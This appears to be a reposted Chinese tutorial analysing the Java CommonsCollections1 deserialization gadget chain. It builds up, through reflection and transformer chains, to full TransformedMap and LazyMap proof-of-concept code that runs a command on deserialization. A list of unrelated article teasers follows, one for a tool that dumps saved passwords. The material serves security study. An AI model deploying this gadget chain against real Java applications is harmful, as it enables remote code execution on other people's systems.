Java反序列化漏洞——CommonsCollections1链分析

news2024/11/17 10:01:34

CC1的链在jdk-8u71之后因为AnnotationInvocationHandler的修改已无法利用。

一、TransformedMap

基于jdk-8u65进行试验

1.Rutime.getRuntime().exec()

Runtime.getRuntime().exec("calc");

2.Runtime类不允许序列化,所有需要调用反射进行命令执行,将如上进行反射

Class<?> runtimeclass = Class.forName("java.lang.Runtime");
Constructor<?> declaredConstructor = runtimeclass.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
Object instance = declaredConstructor.newInstance();
Method exec = runtimeclass.getDeclaredMethod("exec", String.class);
exec.invoke(instance,"calc");

3.用InvokeTransformer的transform方法替换

Class<?> runtimeclass = Class.forName("java.lang.Runtime");
Constructor<?> declaredConstructor = runtimeclass.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
Object instance = declaredConstructor.newInstance();

InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{java.lang.String.class}, new Object[]{"calc"});
exec.transform(instance);

4.转换为cc链版本

Object getRuntime = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
Object exec = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntime);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(exec);

5.用chainedTransformer将如上的Transformer连接起来。

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);

6.接下来看有没有别的类调用transform方法,并且可以参数是Object且可控,举例TransformeMap实例的

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
outerMap.put("test", "xxxx");

利用过程:

  • 1)构造一个Map和一个能够执行代码的ChainedTransformer

  • 2)生成一个TransformedMap实例

  • 3)调用decorate后通过put修改我们的键值对

  • 4)触发我们构造的之前构造的链式Transforme(即ChainedTransformer)进行自动转换

进一步寻找链:

我们知道,如果一个类的方法被重写,那么在调用这个函数时,会优先调用经过修改的方法。因此,如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,且这个Map变量是可控的,我么就可以实现攻击目标。

  • 这时候发现这个类就是sun.reflect.annotation.AnnotationInvocationHandler(8u71以前可以,8u71以后做了一些修改),如下是AnnotationInvocationHandler的readObject方法,核心逻辑就是Map.Entry<String, Object> memberValue : memberValues.entrySet() 和memberValue.setValue(...)。

  • memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的Transform,进而执行我们为其精心设计的任意代码。

//Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了java.io.Serializable 接口。而我们最早传给ConstantTransformer的是Runtime.getRuntime() ,Runtime类是没有实现java.io.Serializable 接口的,所以不允许被序列化。
//将Runtime.getRuntime() 换成了Runtime.class ,前者是一个java.lang.Runtime 对象,后者是一个java.lang.Class 对象。Class类有实现Serializable接口,所以可以被序列化。
Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
//有一个if语句对var7进行判断,只有在其不是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞:
innerMap.put("value","xxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

//需要创建一个AnnotationInvocationHandler对象,并将前面构造的HashMap设置进来,因为sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类,不能直接使用new来实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化了。
//AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类;第二个是参数就是前面构造的Map。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Target.class, outerMap);

//通过如下代码将这个对象生成序列化流
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

//通过如下代码进行反序列化测试
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = objectInputStream.readObject();

二、LazyMap

  • LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的factory.transform

  • 但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在sun.reflect.annotation.AnnotationInvocationHandler的readObject方法中并没有直接调用到Map的get方法

  • 所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get。

  • 并且恰巧的是AnnotationInvocationHandler这个类实际就是一个InvocationHandler,如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke 方法中,进而触发我们的LazyMap#get

public static void main(String[] args) throws Exception {
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }),
    };
    Transformer transformerChain = new ChainedTransformer(transformers);
    Map innerMap = new HashMap();
    Map outerMap = LazyMap.decorate(innerMap, transformerChain);
//        直接调用get执行payload
//        outerMap.get("test");
    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
    construct.setAccessible(true);
    InvocationHandler handler = (InvocationHandler) construct.newInstance(Target.class, outerMap);
    Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
    Object handle = construct.newInstance(Target.class, proxyMap);
    ByteArrayOutputStream barr = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(barr);
    oos.writeObject(handle);
    oos.close();
    System.out.println(barr);
    ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
    objectInputStream.readObject();
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/353592.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

无需经验的steam搬砖,每天操作1小时,轻松创业赚钱!

我作为一个95后社畜&#xff0c;就喜欢倒腾各种赚钱的事情&#xff0c;8年老韭菜告诉你&#xff0c;副业创收一点都不难&#xff0c;难就难在是否找对项目&#xff0c;俗话说方向不对&#xff0c;努力白费&#xff01; 什么做苦力、技能、直播卖货&#xff0c;电商等等对比我这…

面试题59 - II. 队列的最大值

题目 请定义一个队列并实现函数 max_value 得到队列里的最大值&#xff0c;要求函数max_value、push_back 和 pop_front 的均摊时间复杂度都是O(1)。 若队列为空&#xff0c;pop_front 和 max_value 需要返回 -1 思路 对于一个普通队列&#xff0c;push_back 和 pop_front…

ChatGPT 简介

目录1 背景与发展历程1.1 背景1.2 发展历程2 技术原理2.1 第一阶段&#xff1a;训练监督策略模型2.2 第二阶段&#xff1a;训练奖励模型2.3 第三阶段&#xff1a;采用强化学习来增强模型的能力。3 国内使用情况及应用的领域4 面临的数据安全挑战与建议4.1 ChatGPT获取数据产生的…

传奇SF架设问题处理方式

传奇SF架设问题处理方式 正常开服当中我们会遇到很多问题&#xff0c;比如游戏黑屏、登录器链接失败等等。 接下来我会把经常会遇到的问题罗列出来以及解决方法附上 传奇M2引擎出现时间格式报错&#xff1f; 这个解决方法有两种第一种是在你电脑桌面的右下角修改时间格式为短…

开源堡垒机GateOne安装

GateOne 是一款基于 html5 实现的 ssh 客户端&#xff0c;有如下特点&#xff1a;不需要任何浏览器插件支持多用户和多终端&#xff0c;同时支持上百个用户和终端终端支持高级特性&#xff0c;例如 256 色彩&#xff0c;高级文本样式支持支持终端截图&#xff0c;保存为图片和 …

【Oracle实用小技巧一】

PLSQL里一些实用的小技巧&#xff0c;可以让日常工作更便捷。 1、PLSQL可以直接打开命令行测试语句&#xff0c;非常方便&#xff0c;可以在SQL窗口里测试好语句&#xff0c;再在SQL文件里编写查询脚本。 2、describe tablename查询数据表结构&#xff1b; 3、upper(text)字…

Yakit实战技巧:用MITM热加载任意修改流量

背景 用户在使用 Yakit MITM 功能的时候&#xff0c;经常会遇到一些特殊需求&#xff1a; 我的数据包需要携带一些特征变量才能访问&#xff0c;但是浏览器无法做到&#xff0c;我可以批量修改流量新增某一个 Header 吗&#xff1f; 我可以在代理层面在所有流量中新增一个参数…

L1-072 刮刮彩票

“刮刮彩票”是一款网络游戏里面的一个小游戏。如图所示&#xff1a; 每次游戏玩家会拿到一张彩票&#xff0c;上面会有 9 个数字&#xff0c;分别为数字 1 到数字 9&#xff0c;数字各不重复&#xff0c;并以 33 的“九宫格”形式排布在彩票上。 在游戏开始时能看见一个位置上…

JavaEE——MyBatis配置文件的详细介绍

简单介绍&#xff1a; 需要我们编写的配置文件主要有三个&#xff0c;分别是核心配置文件&#xff08;mybatis-config.xml&#xff09;&#xff0c;数据库连接信息文件&#xff08;db.properties&#xff09;&#xff0c;SQL语句映射文件&#xff08;Mappers&#xff09;&…

蒙特卡洛方法

蒙特卡洛方法 理解&#xff1a;是一种利用大量样本与样本中正确数量形成的概率去逼近真实值的一种方法。 可以很巧妙的求取某些问题&#xff1a;如 π 的值 1、利用蒙特卡洛方法求π 我们知道圆的面积公式是&#xff1a;π * r * r 那么 1 / 4 圆的面积就是 1/ 4 *π * r …

Spring Data JPA关于懒加载的那些事

背景 环境 相关环境配置&#xff1a; SpringBootPostGreSQL Spring Data JPA 懒加载现象 首先声明一下 application.yml 文件中关于 JPA 的配置&#xff1a; spring:jpa:show-sql: truehibernate:ddl-auto: noneopen-in-view: falseproperties:hibernate:order_by:defaul…

「6」线性代数(期末复习)

&#x1f680;&#x1f680;&#x1f680;大家觉不错的话&#xff0c;就恳求大家点点关注&#xff0c;点点小爱心&#xff0c;指点指点&#x1f680;&#x1f680;&#x1f680; 目录 第五章 相似矩阵及二次型 &2&#xff09;方阵的特征值与特征向量 &3&#xff…

从transformers开始,哪些工作可以被看成是自然语言处理里程碑式的突破。

文本生成的含义是在某一语言数据基础上对语言的从前到后&#xff08;自监督本身下行目标&#xff09;、两段对齐语言序列&#xff08;相互之间的文本共性矩阵计算&#xff09;分布的研究实现路线。简而言之如何以具有可微可导的向量去寻找攻关语言分布的能力即为当代信息科学与…

Springcloud 集成 Seata1.5.2

一、关于seata1.5.2的安装部署请参考&#xff1a; Seata1.5.2安装配置部署_不知道取啥昵称的博客-CSDN博客 二、springcloud程序集成seata 我这里使用的alibaba-cloud版本为 2.2.6.RELEASE&#xff0c;其对应的seata版本为1.3.0&#xff0c;但是想使用seata1.5.2的版本&…

MongoDB-查找表里面重复的记录

一、背景 项目中使用的是mongodb数据库&#xff0c;在测试数据入库的时候&#xff0c;会根据源数据&#xff0c;然后生成一个自增的id到数据库里面&#xff0c;然后线上和测试环境针对同一条数据的id是不一致的。某些数据又只有id与线上匹配上的时候&#xff0c;才能关联上更多…

CentOS 7转化系统为阿里龙蜥Anolis OS 7

转载&#xff1a;原社区CentOS 7迁移Anolis OS 7迁移手册 一、注意事项 Anolis OS 7生态上和依赖管理上保持跟CentOS7.x兼容&#xff0c;一键式迁移脚本centos2anolis.py&#xff0c;实现CentOS7.x到Anolis OS 7的平滑迁移。 使用迁移脚本前需要注意如下事项&#xff1a; 迁…

Springboot扩展点之CommandLineRunner和ApplicationRunner

Springboot扩展点系列&#xff1a;Springboot扩展点之ApplicationContextInitializerSpringboot扩展点之BeanDefinitionRegistryPostProcessorSpringboot扩展点之BeanFactoryPostProcessorSpringboot扩展点之BeanPostProcessorSpringboot扩展点之InstantiationAwareBeanPostPro…

获取保存在本地的帐户密码,支持浏览器|数据库|邮件|无线|管理员等等

获取保存在本地的帐户密码&#xff0c;支持浏览器|数据库|邮件|无线|管理员等等。 #################### 免责声明&#xff1a;工具本身并无好坏&#xff0c;希望大家以遵守《网络安全法》相关法律为前提来使用该工具&#xff0c;支持研究学习&#xff0c;切勿用于非法犯罪活动…

使用 Nodejs、Express、Postgres、Docker 在 JavaScript 中构建一个 CRUD Rest API

让我们在 JavaScript 中创建一个 CRUD rest API&#xff0c;使用&#xff1a;节点.js表达续集Postgres码头工人码头工人组成介绍这是我们将要创建的应用程序架构的架构&#xff1a;我们将为基本的 CRUD 操作创建 5 个端点&#xff1a;创造阅读全部读一个更新删除我们将使用以下…

python自学之《21天学通Python》(11)——网络编程

第14章 网络编程 网络编程是现代编程主题中的一个重要组成部分&#xff0c;而Python在标准库中就已经提供了丰富的网络编程模块&#xff0c;以支持用户进行编写具有各种网络功能的程序或软件。在Python标准库中&#xff0c;支持底层网络编程的是socket模块&#xff1b;针对特定…